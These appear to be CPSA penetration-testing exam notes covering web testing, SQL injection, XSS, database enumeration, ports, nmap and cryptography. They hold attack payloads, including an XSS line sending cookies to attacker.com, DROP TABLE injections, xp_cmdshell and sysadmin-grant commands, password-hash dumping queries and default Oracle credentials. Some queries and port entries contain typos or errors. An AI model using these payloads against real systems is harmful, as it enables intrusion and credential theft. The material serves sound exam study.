**Applet vs Servlet**

https://www.geeksforgeeks.org/difference-between-applets-and-servlets/

| Applet | Servlet |
|---|---|
| Applets are used to provide interactive features to web applications that cannot be provided by HTML alone like capture mouse input etc. Frontend | Backend processing. Similar to PHP, ASP.NET |

**ActiveX**

https://en.wikipedia.org/wiki/ActiveX Created by Microsoft for Internet Explorer. Still available in Internet Explorer 11, but not in the new Microssft Edge.
Provides frontend media interactions and functionalities, like plugins.

**Flash Application Testing**

Flash has been deprecated and not in used any more. https://en.wikipedia.org/wiki/Adobe_Flash The Flash Player was deprecated in 2017 and officially discontinued at the end of 2020
Flash was used to create and display media for web. Famously Flash games were immensely popular for its time.
Flash Application Testing probably will not come up in today's context. If there is, then feel free to search for it in ExploitDB.

**.Net Thick Clients**

https://www.cyberark.com/resources/threat-research-blog/thick-client-penetration-testing-methodology

Author's Note: Thin and Thick clients seem to oftern refer to hardware devices. Thin client device does not even have their own OS. Not sure what Thin and Thick would mean in a .Net or web context. The Cyberark article classifies Multitier Architecture as Thick client.

# Appendix H: Web Testing Methodologies

## H1 Web Application Reconnaissance

Discovering the Structure of Web Applications:

- **Crawling and Spidering:**
  - **Example:** Using Burp Suite's Spider tool to crawl a website and create a map of all accessible pages and endpoints.
- **Mapping Technologies:**
  - **Example:** Checking HTTP headers or using tools like Wappalyzer to identify technologies. If the server responds with "X-Powered-By: ASP.NET," it indicates the use of ASP.NET technology.

Methods to Identify the Use of Application Components (G1 to G9):

- **Example:** Analyzing JavaScript files to identify the use of specific libraries (e.g., jQuery) or examining API endpoints in the network traffic to understand how client-server communication occurs.

## H2 Threat Modelling and Attack Vectors

Simple Threat Modelling:

- **Example:** Identifying a threat - SQL injection - where user inputs are not properly sanitized, and an attacker may inject malicious SQL queries.

Relate Functionality to Potential Attack Vectors:

- **Example:** A file upload functionality may be exploited with a malicious file containing code, leading to a Remote Code Execution (RCE) attack.

## H3 Information Gathering from Web Mark-up

Examples of Information in Web Page Source:

- **Hidden Form Fields:**
  - **Example: <input type="hidden" name="csrf_token" value="xyz123">** - This hidden field may be a Cross-Site Request Forgery (CSRF) protection token.
- **Database Connection Strings:**
  - **Example: jdbc:mysql://localhost:3306/mydatabase?user=dbuser&password=dbpass** - Revealing database connection details.
- **Credentials:**
  - **Example: <script>var username = "admin"; var password = "admin123";</script>** - Hardcoded credentials in client-side scripts.
- **Developer Comments:**
  - **Example: <!-- TODO: Fix security vulnerability in login process -->** - Indicating potential security issues.
- **Other Included Files:**
  - **Example: <link rel="stylesheet" href="/admin/css/admin-styles.css">** - Disclosing paths and structures.
- **Authenticated-only URLs:**
  - **Example: /admin/dashboard** - Revealing URLs that may lead to sensitive sections.

## H4 Authentication Mechanisms

Common Pitfalls:

- **Weak Password Policies:**
  - **Example:** Allowing passwords like "password123" without complexity requirements.
- **Insecure Storage:**
  - **Example:** Storing passwords using reversible encryption or hashing without salting.

- **Inadequate Session Management:**
  - **Example:** Session tokens transmitted in URLs instead of secure cookies.
- **Brute Force Vulnerabilities:**
  - **Example:** Lack of account lockout after multiple failed login attempts.

## H5 Authorisation Mechanisms

Common Pitfalls:

- **Overly Permissive Defaults:**
  - **Example:** Default user roles having unnecessary administrative privileges.
- **Inadequate Access Controls:**
  - **Example:** Regular users being able to access and modify administrative functionalities.
- **Improperly Scoped Authorisation:**
  - **Example:** Allowing a user to edit any user's profile instead of only their own.
- **Insecure Direct Object References (IDOR):**
  - **Example:** Accessing private documents through manipulation of URLs.

## H6 Input Validation

Importance of Input Validation:

- **Preventing Injection Attacks:**
  - **Example:** Blocking input like **'; DROP TABLE users; --** in a text field.
- **Data Integrity:**
  - **Example:** Ensuring that a date input conforms to a valid date format.

Implementation of Input Validation:

- **Whitelisting:**
  - **Example:** Allowing only alphanumeric characters in a username field.
- **Blacklisting:**
  - **Example:** Blocking known malicious patterns like SQL injection keywords.
- **Data Sanitization:**
  - **Example:** Stripping HTML tags from user inputs to prevent XSS attacks.

## H7 Missing from the official CREST CPSA syllabus document.

## H8 Information Disclosure in Error Messages

Indicators of Information Disclosure:

- **Verbose Error Messages:**
  - **Example:** Displaying detailed error messages like "Incorrect username or password."
- **Stack Traces:**
  - **Example:** Presenting a Java stack trace with class and method names in a web page.
- **Path Disclosure:**
  - **Example:** Revealing file paths like "/var/www/html/includes/config.php" in error messages.

Mitigation:

- **Custom Error Pages:**
  - **Example:** Displaying a generic error message like "An unexpected error occurred. Please try again later."
- **Disable Debug Mode:**
  - **Example:** Ensuring that production environments have debugging features disabled.

## H9 Use of Cross Site Scripting Attacks

Potential Implications of a Cross-Site Scripting (XSS) Vulnerability:

- **Cookie Theft:**
  - An attacker can steal users' session cookies, gaining unauthorized access.
- **Credential Harvesting:**
  - Malicious scripts can capture login credentials entered by users.
- **Defacement:**
  - Injected scripts can modify the appearance of a webpage, leading to defacement.
- **Malicious Redirection:**
  - Users can be redirected to phishing sites or malicious content.

Ways in Which the Technique Can Be Used to Benefit an Attacker:

- **Session Hijacking:**
  - Exploiting XSS to steal session cookies and impersonate a legitimate user.
- **Phishing Attacks:**
  - Crafting convincing phishing pages to trick users into revealing sensitive information.
- **Malicious Actions on Behalf of the User:**
  - Executing actions on behalf of users without their consent.

## H10 Use of Injection Attacks

Potential Implications of Injection Vulnerabilities:

- **SQL Injection:**
  - Unauthorized access to databases, data manipulation, or data exfiltration.
- **LDAP Injection:**
  - Manipulating LDAP queries, leading to unauthorized access or data disclosure.
- **Code Injection:**
  - Executing arbitrary code on the server, potentially leading to remote code execution.
- **XML Injection:**
  - Manipulating XML input to disrupt parsing or extract sensitive information.

Ways in Which These Techniques Can Be Used to Benefit an Attacker:

- **Data Theft:**
  - Extracting sensitive data such as usernames, passwords, or financial information.
- **Command Execution:**
  - Executing system commands, gaining control over the server.
- **Data Tampering:**
  - Modifying or deleting data in the database.

## H11 Session Handling

Common Pitfalls Associated with Session Handling Mechanisms:

- **Session Fixation:**
  - Allowing an attacker to set a user's session ID, leading to session hijacking.
- **Insecure Session Storage:**
  - Storing sensitive information in cookies without proper encryption.
- **Session Expiry Issues:**
  - Lack of proper session timeout, leaving sessions open for an extended period.
- **Weak Session ID Generation:**
  - Predictable or easily guessable session IDs.

Mitigation Strategies:

- **Randomized Session IDs:**
  - Use strong, unpredictable session IDs to prevent session prediction.

- **Secure Session Storage:**
  - Store session data securely, preferably on the server, and use secure cookies.
- **Proper Session Expiry:**
  - Implement session timeout and regularly expire inactive sessions.
- **Session Regeneration:**
  - Regenerate session IDs after login to prevent session fixation.

## H12 Encryption

Common Techniques for Encrypting Data in Transit and Data at Rest:

- **Data in Transit:**
  - **SSL/TLS Encryption:** Securing data during transmission between client and server.
- **Data at Rest (Server Side):**
  - **Database Encryption:** Encrypting sensitive data stored in databases.
- **Data at Rest (Client Side):**
  - **Client-side Encryption:** Encrypting data on the client-side before transmission.

Identification and Exploitation of Encoded and Cryptographic Values:

- **Encoded Values (e.g., Base64):**
  - Identify and decode Base64-encoded data to reveal its original content.
- **Cryptographic Values (e.g., MD5 Hashes):**
  - Attempt to crack or manipulate hashed values for authentication bypass.

Identification of Common SSL Vulnerabilities:

- **SSL Stripping:**
  - Downgrading secure connections to insecure ones.
- **POODLE Attack:**
  - Exploiting vulnerabilities in SSLv3 to decrypt secure connections.
- **Heartbleed:**
  - Exploiting a vulnerability in OpenSSL to read sensitive data from memory.
- **BEAST and CRIME Attacks:**
  - Exploiting weaknesses in SSL/TLS protocols to compromise confidentiality.

# Appendix I: Web Testing Techniques

## I1 Web Site Structure Discovery

Spidering Tools and Their Relevance:

- **Spidering Tools:**
  - **Example Tools:** Burp Suite Spider, OWASP ZAP Spider, Screaming Frog SEO Spider.
  - **Relevance:** These tools crawl through the web application, discovering and mapping the site's structure, including linked pages, directories, and parameters.

Forced Browsing Techniques:

- **Forced Browsing:**
  - **Description:** Manually or programmatically attempting to access URLs that are not linked from the main application but might exist.
  - **Techniques:**
    - Iterative testing of predictable URLs (e.g., /admin, /backup).
    - Attempting to access default or hidden directories.

Identification of Functionality Within Client-Side Code:

- **Client-Side Code Analysis:**
  - **Techniques:**
    - Analyzing JavaScript files to identify functions, endpoints, and interactions.
    - Inspecting HTML source for embedded scripts or AJAX requests.

## I2 Cross-Site Scripting Attacks

Arbitrary JavaScript Execution:

- **Example Scenario:**
  - **Payload: <script>alert('XSS')</script>**
  - **Impact:** Displaying an alert box with the text 'XSS'.
  - **Mitigation:** Implement proper input validation and output encoding.

Using XSS to Obtain Sensitive Information:

- **Example Scenario:**
  - **Payload: <img src='http://attacker.com/collect?cookie=' + document.cookie'>**
  - **Impact:** Sending user's cookie to the attacker's server.
  - **Mitigation:** Implement secure coding practices and Content Security Policy (CSP).

Phishing Techniques:

- **Phishing with XSS:**
  - **Example Scenario:**
    - Injecting a phishing form into a legitimate site.
    - Capturing login credentials.
  - **Mitigation:** Regularly audit and sanitize user inputs to prevent injection.

## I3 SQL Injection

Determine the Existence of SQL Injection Conditions:

- **Example Testing:**
  - **Payload: ' OR 1=1 --**
  - **Observation:** If the page behaves differently, it may be vulnerable.
  - **Mitigation:** Use parameterized queries or prepared statements.

Exploit SQL Injection to Enumerate the Database:

- **Example Payload:**
  - **UNION SELECT table_name, column_name FROM information_schema.columns --**
  - **Outcome:** Retrieving information about tables and columns.

- **Mitigation:** Implement proper input validation and avoid dynamic queries.

Exploit SQL Injection to Execute Commands:

- **Example Payload:**
  - **; DROP TABLE users --**
  - **Outcome:** Deleting the "users" table.
  - **Mitigation:** Implement strict access controls and avoid dynamic SQL queries.

## I4 Missing from the official CREST CPSA syllabus document.

## I5 Missing from the official CREST CPSA syllabus document.

## I6 Parameter Manipulation

Parameter Manipulation Techniques:

- **Client-Side Proxies:**
  - **Description:** Intercepting and modifying requests and responses between the client and server.
  - **Tools:** Burp Suite, OWASP ZAP.
  - **Techniques:** Altering parameter values, testing for security flaws.

Parameters that could be manipulated

Cookies
Form Fields
URL Query Strings
HTTP Headers

# Appendix J: Databases

## J1 Microsoft SQL Server

Knowledge of Common Attack Vectors:

- **SQL Injection:**
  - **Example Payload:**

```
SELECT * FROM Users WHERE username = 'admin' AND password = '123456' OR '1'='1';
```

  - **Details:** Exploiting SQL injection vulnerabilities to bypass authentication.
- **Privilege Escalation:**
  - **Example Command:**

```
EXEC sp_addsrvrolemember 'username', 'sysadmin';
```

  - **Details:** Granting sysadmin role to elevate privileges.
- **Compromised System via Database Connections:**
  - **Attack Scenario:**
    - An attacker gaining access through a SQL injection vulnerability.
    - **Mitigation:** Implementing input validation and parameterized queries.

## J2 Oracle RDBMS

Derivation of Version and Patch Information:

- **Command to Retrieve Version:**

```
SELECT * FROM v$version;
```

  - **Details:** Querying the Oracle version information.
- **Command to Check Patches:**

```
SELECT * FROM dba_registry;
```

  - **Details:** Checking installed patches and components.

Default Oracle Accounts:

- **Common Default Accounts:**
  - **Example Accounts: SYS**, **SYSTEM**, **DBSNMP**.
  - **Details:** Identifying and securing default accounts.

## J3 Web / App / Database Connectivity

Common Databases and Connection Methods:

- **Microsoft SQL Server:**
  - **Example Connection String:**

```
Server=myServerAddress;Database=myDatabase;User Id=myUsername;Password=myPassword;
```

  - **Details:** Configuring a connection string for a .NET application.
- **Oracle:**
  - **Example Connection String:**

```
jdbc:oracle:thin:@//myhost:1521/mydb
```

  - **Details:** Configuring a JDBC connection string for a Java application.
- **MySQL:**

**Example Connection String:**

```
jdbc:mysql://localhost:3306/mydatabase?user=myuser&password=mypassword
```

- **Details:** Configuring a JDBC connection string for a MySQL database.

- **Access (Microsoft Access):**
  - **Example Connection String:**

```
Provider=Microsoft.ACE.OLEDB.12.0;Data Source=C:\myfolder\mydatabase.accdb;
```

- **Details:** Configuring an OLEDB connection string for an Access database.

**MS-SQL**

MS-SQL : DB Version
SELECT @@version

EXEC xp_msver
(detailed version info)

MS-SQL : Run OS Command
EXEC master..xp_cmdshell 'net user'

MS-SQL : SELECT commands
SELECT HOST_NAME( ) : Hostname and IP

SELECT DB_NAME ( ) : Current DB

SELECT name FROM master..sysdatabases; : List DBs

SELECT user_name ( ) : Current user

SELECT name FROM master..syslogins : List users

SELECT name FROM master..sysobjects WHERE xtype='U'; : List Tables

SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjections WHERE name='mytable'); : List columns

MS-SQL : List all Tables and Columns
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'mytable')

MS-SQL : System Table (Info on All Tables)
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

MS-SQL 2005 Vulnerability (Password Hashes)
SELECT name, password_hash FROM master.sys.sql_logins

**Postgres**
SELECT commands
SELECT version(); : DB Version

SELECT inet_server)addr(); : Hostname and IP

SELECT current_database(); : Current DB

SELECT datname FROM pg_database; : List DBs

SELECT user; : Current user

SELECT username FROM pg_user; : List Users

SELECT username,passwd FROM pg_shadow : List password hashes

**MySQL**

MySQL Default Credentials
root | MYSQL

MySQL : SELECT Commands
SELECT @@version; : DB Version

SELECT @@hostname; : Hostname and IP

SELECT database(); : Current DB

SELECT distinct (db) FROM mysql.db; : List DBs

SELECT user(); : Current user

SELECT user FROM mysql.user; : List Users

SELECT host,user,password FROM mysql.user; : List password hashes

MySQL : List Tables (and Columns)
SHOW TABLES (only works for current database)

SELECT * FROM information_schema.columns (full dump)

## Oracle

**Oracle Default Credentials**
--Username | Password--
SYSTEM | MANAGER
ANONYMOUS | ANONYMOUS
SCOTT | TIGER
OLAPSYS | MANAGER
SYS | CHANGE_ON_INSTALL

SELECT Commands
SELECT * FROM v$version; : DB Version
(SELECT version FROM v$instance;)

SELECT instance_name FROM v$instance : Current DB
(SELECT name FROM v$database;)

SELECT DISTINCT owner FROM all_tables; : List DBs

SELECT user FROM dual; : Current User

SELECT username FROM all_users ORDER BY username; : List users

SELECT column_name FROM all_tab_columns; : List Columns

SELECT table_name FROM all_tables; : List Tables

SELECT name, password, astatus FROM sys.user$; : List password hashes

# IMP: Note

## Ports

| Port | Short Name | Full Form of Port Protocol | TCP/UDP |
|---|---|---|---|
| 7 | Echo | Echo | UDP |
| 9 | Discard | Discard | UDP |
| 13 | Daytime | Daytime | UDP |
| 17 | QotD | Quote of the Day | UDP |
| 19 | Chargen | Character Generator | UDP |
| 20 | FTP (Data) | File Transfer Protocol (Data) | TCP |
| 21 | FTP (Control) | File Transfer Protocol (Control) | TCP |
| 22 | SSH | Secure Shell | TCP |
| 23 | Telnet | Telnet | TCP |
| 25 | SMTP | Simple Mail Transfer Protocol | TCP |
| 43 | Whois | Whois | UDP |
| 49 | TACACS+ | Terminal Access Controller Access Control System Plus | UDP |
| 53 | DNS | Domain Name System | UDP |
| 67 | DHCP (Client) | Dynamic Host Configuration Protocol | UDP |
| 68 | DHCP (Server) | Dynamic Host Configuration Protocol | UDP |
| 69 | TFTP | Trivial File Transfer Protocol | UDP |
| 70 | Gopher | Gopher | UDP |
| 79 | Finger | Finger | UDP |
| 80 | HTTP | Hypertext Transfer Protocol | TCP |
| 88 | Kerberos | Kerberos | UDP |
| 110 | POP3 | Post Office Protocol 3 | TCP |
| 111 | Sun RPC | Sun Remote Procedure Call | UDP |
| 112 | VRRP | Virtual Router Redundancy Protocol | UDP |
| 113 | Ident | Identification Protocol | TCP |
| 119 | NNTP | Network News Transfer Protocol | TCP |
| 123 | NTP | Network Time Protocol | UDP |
| 135 | DCOM | Distributed Component Object Model | TCP |
| 137 | NetBIOS (Name Service) | NetBIOS Name Service | UDP |
| 138 | NetBIOS (Datagram) | NetBIOS Datagram Service | UDP |
| 139 | NetBIOS (Session) | NetBIOS Session Service | UDP |
| 143 | IMAP | Internet Message Access Protocol | TCP |
| 161 | SNMP | Simple Network Management Protocol | UDP |
| 194 | IRC (Official) | Internet Relay Chat (Official) | TCP |
| 443 | HTTPS | Hypertext Transfer Protocol Secure | TCP |
| 465 | SMTPS | SMTP Secure | TCP |
| 513 | rlogin | Remote Login | TCP |

| 514 | Syslog | System Logging | UDP |
|---|---|---|---|
| 515 | LPD | Line Printer Daemon | TCP |
| 546 | DHCPv6 (Client) | Dynamic Host Configuration Protocol | UDP |
| 547 | DHCPv6 (Server) | Dynamic Host Configuration Protocol | UDP |
| 563 | NNTP (SSL) | Network News Transfer Protocol SSL | TCP |
| 5900 | VNC | Virtual Network Computing | TCP |
| 631 | IPP | Internet Printing Protocol | TCP |
| 636 | LDAP (SSL) | Lightweight Directory Access Protocol | TCP |
| 6667 | IRC (Alternative) | Internet Relay Chat (Alternative) | TCP |
| 860 | iSCSI | Internet Small Computer System Interface | TCP |
| 989 | FTPS (Data) | FTP Secure (Data) | TCP |
| 990 | FTPS (Control) | FTP Secure (Control) | TCP |
| 995 | POP3S | Post Office Protocol 3 Secure | TCP |
| 1023 | Reserved | Reserved | |
| 1194 | OpenVPN | OpenVPN | UDP |
| 1433 | MS SQL | Microsoft SQL Server | TCP |
| 1521 | Oracle Database | Oracle Database | TCP |
| 1701 | L2TP (VPN) | Layer 2 Tunneling Protocol | UDP |
| 1723 | PPTP (VPN) | Point-to-Point Tunneling Protocol | TCP |
| 1812 | RADIUS (Auth) | Remote Authentication Dial-In User Service (Authentication) | UDP |
| 1813 | RADIUS (Acct) | Remote Authentication Dial-In User Service (Accounting) | UDP |
| 1900 | SSDP | Simple Service Discovery Protocol | UDP |
| 1947 | Oracle DB | Oracle SQL*Net | TCP |
| 2049 | NFS | Network File System | UDP |
| 3306 | MySQL | MySQL | TCP |
| 3389 | RDP | Remote Desktop Protocol | TCP |
| 3478 | STUN | Session Traversal Utilities for NAT | UDP |
| 5432 | PostgreSQL | PostgreSQL Database System | TCP |
| 554 | RTSP | Real Time Streaming Protocol | TCP |
| 563 | NNTP (SSL) | Network News Transfer Protocol SSL | TCP |
| 5678 | Remote Replication | Remote Replication | TCP |
| 5900 | VNC | Virtual Network Computing | TCP |
| 6000 | X11 | X Window System | TCP |
| 6789 | DB2 Admin | IBM DB2 Administrative Server | TCP |
| 8080 | HTTP Alternative | HTTP Alternative | TCP |
| 860 | iSCSI | Internet Small Computer System Interface | TCP |

Berkeley R Commands

| Protocol | Port | Client | Daemon |
|---|---|---|---|
| TCP | 512 | rexec | rexecd |
| TCP | 513 | rlogin | rlogind |
| TCP | 514 | rcp | rshd |
| TCP | 514 | rsh | rshd |
| UDP | - | rstat | rstatd |
| UDP | 513 | ruptime | whod |
| UDP | 513 | rwho | whod |

Source: https://en.wikipedia.org/wiki/Berkeley_r-commands

Windows

| Protocol | Port | Service | Commonly Associated OS/remarks |
|---|---|---|---|
| TCP | 20 | FTP Default Data | - |
| TCP | 21 | FTP Control | - |
| TCP | 23 | Telnet | - |
| TCP | 25 | SMTP | - |
| TCP/UDP | 53 | DNS | - |
| TCP/UDP | 88 | Kerberos | - |
| TCP/UDP | 464 | Kerberos Password V5 | - |
| UDP | 67 | DHCP | - |
| UDP | 69 | TFTP | - |
| TCP | 110 | POP3 | - |
| TCP | 135 | RPC | - |
| TCP | 593 | RPC over HTTPS | - |
| UDP | 137 | NetBIOS Name Resolution | - |

| Protocol | Port | Service | Commonly Associated OS/remarks |
|---|---|---|---|
| UDP | 138 | NetBIOS Datagram Service | - |
| TCP | 139 | NetBIOS Session Service | - |
| TCP/UDP | 389 | LDAP Server | - |
| TCP | 636 | LDAP SSL | - |
| TCP | 139,445 | SMB | - |
| TCP | 3389 | Terminal Services/Remote Desktop Protocol | - |
| TCP | 119 | NNTP | - |
| TCP | 564 | NNTP over SSL | - |
| UDP | 161 | SNMP | - |

## TTL Fingerprinting

| | |
|---|---|
| Windows | 128 |
| Linux | 64 |
| Network | 255 |
| Solaris | 255 |

## IP Protocols(Internet Protocol)

IPv4: 4 bytes - 32 bits (e.g., 192.168.0.1)
MAC: 6 bytes - 48 bits (e.g., 00:1A:2B:3C:4D:5E)
IPv6: 16 bytes - 128 bits
(e.g., 2001:0db8:85a3:0000:0000:8a2e:0370:7334)

## Full Form

MAC: Media Access Control Address
UDP: User Datagram Protocol
FHRP: First Hop Redundancy Protocol
TCP (Transmission Control Protocol)
UDP (User Datagram Protocol)
ICMP (Internet Control Message Protocol)
IGMP (Internet Group Management Protocol)
OSPF (Open Shortest Path First)
STP: Spanning Tree Protocol
CDP: Cisco Discovery Protocol
DTP: Dynamic Trunking Protocol
HSRP: Hot Standby Router Protocol
VTP: VLAN Trunking Protocol
NIC: Network Interface Card
NAT: Network Address Translation
IETF: Internet Engineering Task Force
IANA: Internet Assigned Numbers Authority
ARP: Address Resolution Protocol
IGMP: Internet Group Management Protocol
FQDN: Fully Qualified Domain Name
IOC: Indications of Compromise
POC: Point of Contact,Proof of Concept
SIEM: Security Information and Event Management
MBSA: Microsoft Baseline Security Analyzer
EGP: Exterior Gateway Protocol
EAP: Extensible Authentication Protocol
LEAP: Lightweight Extensible Authentication Protocol
PEAP: Protected Extensible Authentication Protocol
FSMO: Flexible Single Master Operations
NTLM: New Technology LAN Manager
SOAP: Simple Object Access Protocol
OSSTMM: Open Source Security Testing Methodology Manual
ISECOM: Institute for Security and Open Methodologies
OWASP: Open Web Application Security Project
PTES: Pen Testing Execution Standard
CPNI: Centre for the Protection of National Infrastructure (UK best practices)
HIPAA: Health Insurance Portability and Accountability Act
FISMA: Federal Information Security Management Act
GLBA: Gramm-Leach-Bliley Act
GDPR: General Data Protection Regulation
FERPA: Family Educational Rights and Privacy Act
PCI DSS: Payment Card Industry Data Security Standard
TTL: Time to Live
CSMA/CA: Carrier Sense Multiple Access with Collision Avoidance
CDMA: Code Division Multiple Access (GSM competitor)

## Shared Media:

Bus Topology,Ring Topology

ARP Spoofing: In a local network, devices use ARP to map IP addresses to MAC addresses. When a device needs to communicate with
another device on the same network, it sends out an ARP request to discover the MAC address associated with a particular IP address.

## Switched Media:

MAC Address Spoofing: Security testing should assess the effectiveness of switch configurations, including the potential for
MAC address spoofing.

## VLANs (Virtual Local Area Networks):

VLAN Hopping: Weaknesses in VLAN implementations can lead to VLAN hopping, allowing unauthorized access to different segments
of the network.

## Active OS Fingerprinting:

Nmap Command: nmap -O target_ip
Xprobe2 Command: xprobe2 -T1 target_ip

Active OS Fingerprinting
Sends specially crafted packets to the remote OS and analyzes the received response.

NMap is awesome at this

## Passive OS Fingerprinting:

P0f: p0f -i eth0
satori Command: satori -i eth0

Passive OS fingerprinting
Observing host behavior and packets (DHCP, TCP, etc) to determine OS

Common Tools: Network Miner, p0f, Satori, Wireshark

## NMap : Scan Types

-sP : ping scan
-sS : syn scan ("half open" scan)
-sT : connect scan (full TCP)
-sU : UDP scan
-sO : protocol scan

Port Count
65,536 (2^16) Ports

This applies to TCP AND UDP

NMap : Scan EVERY Port
TCP: nmap -p- <IP>
UDP: nmap -sU -p- <IP>

## NMap : Common Options

-p1-65535 : Ports
-T[0-5] : "Scan Speed", can help hide you
-n : No DNS Resolution
-O : OS Detection
-A : AGGRESSIVE
-sV : Version Detection
-PN : No Ping
-6 : IPv6 Scan
-oA <file> : Output ALL types

NMap : DNS Reverse Lookup
nmap -R -sL -dns-server <server> <IP Range>

## Hashes

MD5
SHA1
MySQL < 4.1
MySQL5
MD5 (WP)
MD5 (phpBB3)
LM / NTLM
LM Hash
Primary Windows LAN hash before Windows NT. 14 character limit

## Hash Lengths

MD5 : 16 Bytes  128 bits.
SHA-1 : 20 bytes 160 bits.
SHA-256 : 32 Bytes 256 bits.
SHA-512 : 64 Bytes 512 bits.

## Encryption vs. Encoding

Encryption protects data through a reversible transformation using algorithms and keys. It ensures that only authorized parties can access the original data by decrypting it.
Encoding represents data using a specific format for storage or transmission. Unlike encryption, encoding is not intended to keep data secret but rather to ensure that it's properly formatted for a particular system.

## Symmetric vs. Asymmetric Encryption

Symmetric Encryption uses a single key for both encryption and decryption. This shared secret key must be kept confidential between communicating parties.
Asymmetric Encryption employs a pair of public and private keys for encryption and decryption. The public key is shared openly, while the private key is kept secret. Messages encrypted with the public key can only be decrypted with the corresponding private key.

## Encryption Algorithms and Key Sizes

- **Symmetric Encryption**
  - Advanced Encryption Standard (AES): 128, 192, 256 bits
  - Data Encryption Standard (DES): 56 bits (56 effective bits)
  - Triple DES (3DES): 112 or 168 bits
  - Blowfish: 32 to 448 bits (variable)
  - Twofish: 128, 192, or 256 bits
  - Serpent: 128, 192, or 256 bits
  - ChaCha20: 256 bits
  - IDEA
  - RC4, RC5, RC6
  - CAST

- **Asymmetric Encryption**
  - Rivest-Shamir-Adleman (RSA): 1024 to 4096 bits
  - Elliptic Curve Cryptography (ECC): 160 to 521 bits
  - Diffie-Hellman Key Exchange: Depends on specific group parameters chosen (e.g., 1024, 2048, 3072 bits)
  - ElGamal: Depends on specific group parameters chosen (e.g., 1024, 2048, 3072 bits)
  - DSA (Digital Signature Algorithm): 1024 to 3072 bits
  - PGP (Pretty Good Privacy): Depends on the specific algorithms used in the key pairs (e.g., RSA, DSA, ElGamal)
  - RSA (OAEP): 1024 to 4096 bits
  - ECC Eliptic Curve
  - Paillier
  - Merkle-Helman
  - Cramer-Shoup

  **Cisco Password Encryption**
  secret 4 : Crappy SHA256
  secret 5 : Salted MD5
  secret 7: Crappy Cisco encryption to prevent cleartext in the config
  secret 8 : PBKDF2 (Password-Based Key Derivation Function 2) bruteforce target
  secret 9 : scrypt (BINGO)

## Domain Name Server (DNS)

1. SOA: Start of Authority
2. MX: Mail Exchange
3. TXT: Text
4. A: Address
5. NS: Name Server
6. PTR: Pointer
7. HINFO: Host Information
8. CNAME: Canonical Name

**Start of Authority (SOA) Record**
Every zone file must include a ___ record to identify the name server that's primarily responsible for the database segments it manages.

**Mail Exchanger (MX) Record**
A record used by e-mail servers for determining the host names of servers responsible for handling a domain's incoming e-mail.

**A / AAAA Record**
IP Address

**Name Server (NS) Record**
announces the authoritative name servers for a particular zone who will answer queries for their supported zone

**Pointer Record (PTR)**
A record that points IP addresses/Canonical to host names. See also Reverse Lookup Zone.

**CNAME (Canonical name record)**
A type of DNS data record that holds alternative names for a host.

## DNS Queries

A Record Query:
- Resolves a domain name to an IPv4 address.

Example: nslookup example.com
AAAA Record Query:
- Resolves a domain name to an IPv6 address.

Example: nslookup -type=AAAA example.com
MX Record Query:
- Retrieves mail exchange (MX) records for a domain.

Example: nslookup -type=MX example.com
NS Record Query:
- Retrieves name server (NS) records for a domain.

Example: nslookup -type=NS example.com
PTR Record Query:
- Performs reverse DNS lookup to find the domain associated with an IP address.

Example: nslookup 8.8.8.8

## Email Headers

Example Email Header:

Received: from mail.example.com (mail.example.com [192.168.1.100])
by mailserver.example.net (Postfix) with ESMTP id ABC123
for <recipient@example.net>; Tue, 23 Nov 2023 10:00:00 -0500 (EST)

Analysis:
Source IP Address:
The "Received" header shows the originating IP address (192.168.1.100) of the sending mail server (mail.example.com).
Mail Server Software:
The "by" and "with" fields indicate the mail server software (Postfix) and its version.
Message ID:
The "id" field (ABC123) may contain a unique identifier for the email.
Timestamp:
The timestamp provides information about when the email was sent.

## News Headers (NNTP)

- Example NNTP Header:

Path: example.com!news.example.net!news-server!example.org!user
From: sender@example.com (John Doe)
Newsgroups: alt.test
Date: Tue, 23 Nov 2023 12:00:00 GMT
Organization: Example Organization
Lines: 20
Message-ID: <12345@example.org>

Analysis:
Path:
The "Path" header shows the route the message took through the network of news servers.
Sender's Email:
The "From" header reveals the email address of the sender (sender@example.com) and their display name.
Newsgroups:
Specifies the newsgroups to which the message belongs (alt.test).
Date:
Indicates the date and time when the message was posted.
Organization:
The "Organization" header may reveal information about the organization associated with the sender.
Message ID:
Similar to email headers, the "Message-ID" field contains a unique identifier for the news message.

Yersinia
Layer 2 testing tool (STP, CDP, VLAN Trunking, etc)

## SIP Requests

INVITE
ACK
BYE
CANCEL
OPTIONS
REGISTER
PRACK
SUBSCRIBE
NOTIFY
PUBLISH
INFO
REFER
MESSAGE
UPDATE

## SNMP

**Microsoft SNMP**

1.3.6.1.2.1.25.1.6.0
System Processes
1.3.6.1.2.1.25.4.2.1.2
Running Programs
1.3.6.1.2.1.25.4.2.1.4
Processes Path
1.3.6.1.2.1.25.2.3.1.4
Storage Units
1.3.6.1.2.1.25.6.3.1.2
Software Name
1.3.6.1.2.1.77.1.2.25
User Accounts
1.3.6.1.2.1.6.13.1.3
TCP Local Ports

**SNMP Requests**
Get
GetNext
Set
GetBulk
Response
Trap
Inform

## SMTP

**SMTP Requests**
MAIL
RCPT
DATA

**SMTP User Enumeration**
EXPN
VRFY

## File System Permissions in Unix (Linux/macOS):

In Unix-like operating systems, file system permissions are governed by three permission categories: owner, group, and others (or world). Each category has three permission types: read (r), write (w), and execute (x).

1. Symbolic Representation:
- r: Read permission
- w: Write permission
- x: Execute permission
- -: No permission

2. Numeric Representation:
- Each permission type is assigned a numeric value: read (4), write (2), execute (1).
- The sum of these values represents the permission level.

Example:

-rw-r--r-- 1 user1 group1 1024 Nov 23 10:00 myfile.txt

- The owner (user1) has read and write permissions.
- The group (group1) has read-only permissions.
- Others have read-only permissions.

## Reserved Internal IPs

10.0.0.0/8 (10.0.0.0-10.255.255.255) : Private

127.0.0.0/8 (127.0.0.0-127.255.255.255) : Local Host Loopback

172.16.0.0/12 (172.16.0.0-172.31.255.255) : Private

192.168.0.0/16 (192.168.0.0-192.168.255.255) : Private

## IPv4 SUBNETTING

Classful IP Range : Class A
128 Networks (2^7), 16,777,216 Addresses per network (2^24)

Range : 0.0.0.0-127.0.0.0
Default Subnet Mask : 255.0.0.0
CIDR Notation : /8

Classful IP Range : Class B
16,384 Networks (2^14), 65,536 Addresses per network (2^16)

Range : 128.0.0.0-191.255.0.0
Default Subnet Mask : 255.255.0.0
CIDR Notation : /16

Classful IP Range : Class C
2,097,152 Networks (2^21), 256 Addresses per network (2^8)

Range : 192.0.0.0-223.255.255.0
Default Subnet Mask : 255.255.255.0
